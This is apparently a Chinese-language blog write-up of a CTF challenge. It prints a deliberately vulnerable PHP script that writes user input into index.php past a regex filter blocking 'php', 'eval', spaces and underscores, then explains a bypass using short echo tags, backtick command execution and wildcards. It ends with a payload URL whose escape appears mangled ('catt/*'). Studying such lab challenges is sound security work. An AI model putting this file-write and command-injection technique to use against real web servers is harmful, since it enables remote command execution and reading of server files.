本文最后更新于 559 天前,其中的信息可能已经有所发展或是发生改变。
上代码
代码语言:javascript复制<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\^|\ |eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
思路
很明显的一道命令写入题,绕过waf写入命令到文件
获取写入文件路径
一眼就能看出传入action=pwd就能获取到生成的文件路径,写入后文件保存在生成的路径/index.php中
代码语言:javascript复制$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
写入文件
代码语言:javascript复制function check($input){
if(preg_match("/'| |_|php|;|~|\^|\ |eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
这里过滤了php、eval,这种情况下一句话木马就很难实现了
想要绕过check函数写shell,过滤了空格‘ ’可以用 t 代替,也可以可以使用php中的 来代替,过滤了'php'可以用短标签<?=?>代替,相当于<? echo>;
过滤了‘_’可以用<?=``?>代替,反引号在php中有执行命令的效果 利用通配符 '*' 模糊搜索目录下的文件
pyload
代码语言:javascript复制?action=upload&data=<?=`catt/*`?>
浏览量: 49